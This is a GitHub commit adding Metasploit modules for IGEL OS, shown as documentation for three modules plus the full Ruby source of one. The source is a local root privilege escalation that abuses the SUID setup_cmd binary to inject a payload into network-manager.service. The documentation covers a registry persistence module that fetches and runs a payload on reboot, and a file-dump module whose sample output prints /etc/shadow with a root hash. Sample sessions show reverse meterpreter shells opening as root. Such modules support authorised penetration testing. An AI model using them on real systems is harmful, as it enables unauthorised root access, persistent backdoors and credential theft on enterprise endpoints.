Skip to content

Commit 1912fe2

Browse files
authored
Merge pull request #20702 from Zedeldi/igel-os-modules
IGEL OS modules
2 parents 3dfa649 + d1fe177 commit 1912fe2

File tree

6 files changed

+498
-0
lines changed

6 files changed

+498
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
## Vulnerable Application
2+
3+
IGEL OS < 11.10.150 with a `shell` or `meterpreter` session.
4+
5+
IGEL OS is a Linux-based operating system designed for endpoint devices,
6+
primarily used in enterprise environments to provide secure access to virtual
7+
workspaces. It focuses on enhancing security, simplifying management, and
8+
improving user productivity across various sectors, including healthcare and
9+
finance.
10+
11+
In previous versions, `/config/bin/setup_cmd` was an SUID binary, with a preset
12+
list of files it could execute with elevated permissions. This allowed a bash
13+
script `/config/bin/network` to be executed as root, which in turn called
14+
`systemctl $1 network-manager.service`, allowing a systemd unit to be modified
15+
by an unprivileged user.
16+
17+
The network service is restarted after the systemd unit configuration is updated,
18+
causing a brief notification and loss of network connectivity. Once restarted,
19+
a session should be created as root.
20+
21+
All files on disk (including the payload) are registered for clean-up.
22+
23+
## Verification Steps
24+
25+
1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.150 host
26+
2. Use: `use exploit/linux/local/igel_network_priv_esc`
27+
3. Set: `set SESSION <id>`, replacing `<id>` with the session ID
28+
4. Set payload options, e.g. `LHOST`
29+
5. Exploit: `run`
30+
6. A new session is created as root
31+
32+
## Options
33+
34+
None.
35+
36+
## Scenarios
37+
38+
```
39+
msf exploit(linux/local/igel_network_priv_esc) > set SESSION 1
40+
SESSION => 1
41+
msf exploit(linux/local/igel_network_priv_esc) > set LHOST 192.168.56.1
42+
LHOST => 192.168.56.1
43+
msf exploit(linux/local/igel_network_priv_esc) > run
44+
[*] Started reverse TCP handler on 192.168.56.1:4444
45+
[*] Uploading payload to target
46+
[*] Writing config to target
47+
[*] Applying service config
48+
[*] Restarting service
49+
[*] Sending stage (3090404 bytes) to 192.168.56.7
50+
[+] Deleted /tmp/WHQCVmDB
51+
[+] Deleted /tmp/fylZWXSF
52+
[+] Deleted /tmp/LBnyPcKt
53+
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.7:51938) at 2025-11-17 16:00:48 +0000
54+
55+
meterpreter > getuid
56+
Server username: root
57+
```
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
## Vulnerable Application
2+
3+
IGEL OS with a `shell` or `meterpreter` session.
4+
5+
IGEL OS is a Linux-based operating system designed for endpoint devices,
6+
primarily used in enterprise environments to provide secure access to virtual
7+
workspaces. It focuses on enhancing security, simplifying management, and
8+
improving user productivity across various sectors, including healthcare and
9+
finance.
10+
11+
Most of the operating system is read-only, mounted from SquashFS images
12+
stored in their proprietary filesystem, with the exception of a few persistent
13+
locations. Therefore, changes to the system will likely be lost on a reboot,
14+
unless written to specific locations, such as `/license` or registry.
15+
16+
This module requires root access in order to write to privileged locations
17+
in registry and optionally remount and write to `/license`.
18+
19+
By default, the module writes a command payload to registry to fetch and execute
20+
the binary payload on establishing a network connection after a reboot.
21+
22+
See [igelfs](https://github.com/Zedeldi/igelfs) for more information about
23+
the IGEL filesystem and an unofficial Python implementation.
24+
25+
## Verification Steps
26+
27+
1. Get a `shell` or `meterpreter` session on an IGEL OS host
28+
2. Use: `use exploit/linux/persistence/igel_persistence`
29+
3. Set: `set SESSION <id>`, replacing `<id>` with the session ID
30+
4. Set payload options, e.g. `LHOST`
31+
5. Exploit: `run`
32+
6. The payload is executed on next boot/login (dependent on `REGISTRY_KEY`)
33+
34+
## Options
35+
36+
| Name | Description |
37+
| ------------- | ------------------------------------------------------- |
38+
| REGISTRY_KEY | Registry key to use for automatically executing payload |
39+
| REGISTRY_ONLY | Set whether to store payload in registry (dropper only) |
40+
| TARGET_DIR | Directory to write payload (dropper only) |
41+
42+
## Scenarios
43+
44+
```
45+
msf exploit(linux/persistence/igel_persistence) > set SESSION 2
46+
SESSION => 2
47+
msf exploit(linux/persistence/igel_persistence) > set LHOST 192.168.56.1
48+
LHOST => 192.168.56.1
49+
msf exploit(linux/persistence/igel_persistence) > run
50+
[*] Started reverse TCP handler on 192.168.56.1:4444
51+
[*] Uploading payload to /license
52+
[*] Writing persistence to registry
53+
[*] Registry written successfully
54+
[*] The payload should be executed when the target reboots
55+
[*] Exploit completed, but no session was created.
56+
```
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
## Vulnerable Application
2+
3+
IGEL OS < 11.09.260 with a `shell` or `meterpreter` session.
4+
5+
IGEL OS is a Linux-based operating system designed for endpoint devices,
6+
primarily used in enterprise environments to provide secure access to virtual
7+
workspaces. It focuses on enhancing security, simplifying management, and
8+
improving user productivity across various sectors, including healthcare and
9+
finance.
10+
11+
In previous versions, `/config/bin/setup_cmd` was an SUID binary, with a preset
12+
list of files it could execute with elevated permissions. This allowed
13+
`/bin/date -f` to be used for data extraction as root.
14+
15+
The dumped file is printed to screen and saved as loot.
16+
17+
## Verification Steps
18+
19+
1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.09.260 host
20+
2. Use: `use post/linux/gather/igel_dump_file`
21+
3. Set: `set SESSION <id>`, replacing `<id>` with the session ID
22+
4. Optionally, set `RPATH`
23+
5. Run: `run`
24+
6. Contents of file is displayed
25+
26+
## Options
27+
28+
| Name | Description |
29+
| ------------- | -------------------------- |
30+
| RPATH | File on the target to dump |
31+
32+
## Scenarios
33+
34+
```
35+
msf post(linux/gather/igel_dump_file) > set SESSION 1
36+
SESSION => 1
37+
msf post(linux/gather/igel_dump_file) > set RPATH /etc/shadow
38+
RPATH => /etc/shadow
39+
msf post(linux/gather/igel_dump_file) > run
40+
[*] Executing command on target
41+
[*] Command completed:
42+
games:!!:20409::::::
43+
man:!!:20409::::::
44+
proxy:!!:20409::::::
45+
backup:!!:20409::::::
46+
list:!!:20409::::::
47+
irc:!!:20409::::::
48+
gnats:!!:20409::::::
49+
systemd-coredump:!!:20409::::::
50+
root:$6$BEtW8dG/eZ2nHb2X$vE1ZoeP.Z00bSB6dF9PVNHB3gcT1Wh5U2WUMPDBqBwMmZg.cshgiApIXVmDk.S.RhWTxKoZbZRWyqyMyHkzby.:20409:0:99999::::
51+
rtkit:*:20409:0:99999:7:::
52+
user:*:20409:0:99999::::
53+
ruser::20409:0:99999::::
54+
[*] Post module execution completed
55+
```
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
include Msf::Post::Linux
8+
include Msf::Post::Linux::System
9+
include Msf::Post::Unix
10+
include Msf::Post::File
11+
include Msf::Exploit::FileDropper
12+
include Msf::Exploit::EXE
13+
prepend Msf::Exploit::Remote::AutoCheck
14+
15+
def initialize(info = {})
16+
super(
17+
update_info(
18+
info,
19+
'Name' => 'IGEL OS Privilege Escalation (via systemd service)',
20+
'Description' => %q{
21+
Escalate privileges for IGEL OS Workspace Edition sessions, by modifying
22+
network-manager.service using setup_cmd (SUID) and network, then restarting
23+
the service.
24+
},
25+
'Author' => 'Zack Didcott',
26+
'License' => MSF_LICENSE,
27+
'Platform' => ['linux'],
28+
'Arch' => [ARCH_X64],
29+
'Targets' => [
30+
[
31+
'Linux x86_64', {
32+
'Arch' => ARCH_X64,
33+
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
34+
}
35+
],
36+
],
37+
'DefaultTarget' => 0,
38+
'SessionTypes' => ['shell', 'meterpreter'],
39+
'DisclosureDate' => '2024-07-10', # Patch release date
40+
'Notes' => {
41+
'Stability' => [CRASH_SERVICE_RESTARTS],
42+
'Reliability' => [REPEATABLE_SESSION],
43+
'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS]
44+
}
45+
)
46+
)
47+
48+
register_advanced_options([
49+
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
50+
])
51+
end
52+
53+
def check
54+
version = Rex::Version.new(
55+
read_file('/etc/system-release').delete_prefix('IGEL OS').strip
56+
)
57+
unless version < Rex::Version.new('11.10.150')
58+
return CheckCode::Safe("IGEL OS #{version} is not vulnerable")
59+
end
60+
61+
CheckCode::Appears("IGEL OS #{version} should be vulnerable")
62+
end
63+
64+
def exploit
65+
print_status('Uploading payload to target')
66+
payload_file = write_payload(generate_payload_exe, datastore['WritableDir'], 0o700)
67+
68+
print_status('Writing config to target')
69+
config = build_config(payload_file)
70+
config_file = write_payload(config, datastore['WritableDir'], 0o600)
71+
72+
print_status('Applying service config')
73+
vprint_status(modify_service(config_file))
74+
75+
print_status('Restarting service')
76+
vprint_status(restart_service)
77+
end
78+
79+
def write_payload(contents, dir, perm)
80+
fail_with(Failure::NoAccess, "Directory '#{dir}' is not writable") unless writable?(dir)
81+
fail_with(Failure::NoAccess, "Directory '#{dir}' is on a noexec mount point") if noexec?(dir)
82+
83+
filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"
84+
85+
write_file(filepath, contents)
86+
chmod(filepath, perm)
87+
88+
unless file?(filepath)
89+
fail_with(Failure::Unknown, "Failed to write to '#{filepath}'")
90+
end
91+
92+
register_files_for_cleanup(filepath)
93+
94+
return filepath
95+
end
96+
97+
def build_config(payload_file)
98+
config = <<~CONFIG.strip
99+
[Service]
100+
TimeoutStartSec=infinity
101+
ExecStartPost=#{payload_file}
102+
CONFIG
103+
return config
104+
end
105+
106+
def modify_service(config_file)
107+
command = <<~COMMAND.strip
108+
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' << EOF
109+
env SYSTEMD_EDITOR="/bin/cp #{config_file}" /config/bin/setup_cmd /config/bin/network edit
110+
EOF
111+
COMMAND
112+
113+
script_file = write_payload(command, datastore['WritableDir'], 0o700)
114+
cmd_exec(script_file)
115+
end
116+
117+
def restart_service
118+
create_process('/config/bin/setup_cmd', args: ['/config/bin/network', 'restart'], time_out: 120)
119+
end
120+
end

0 commit comments

Comments
 (0)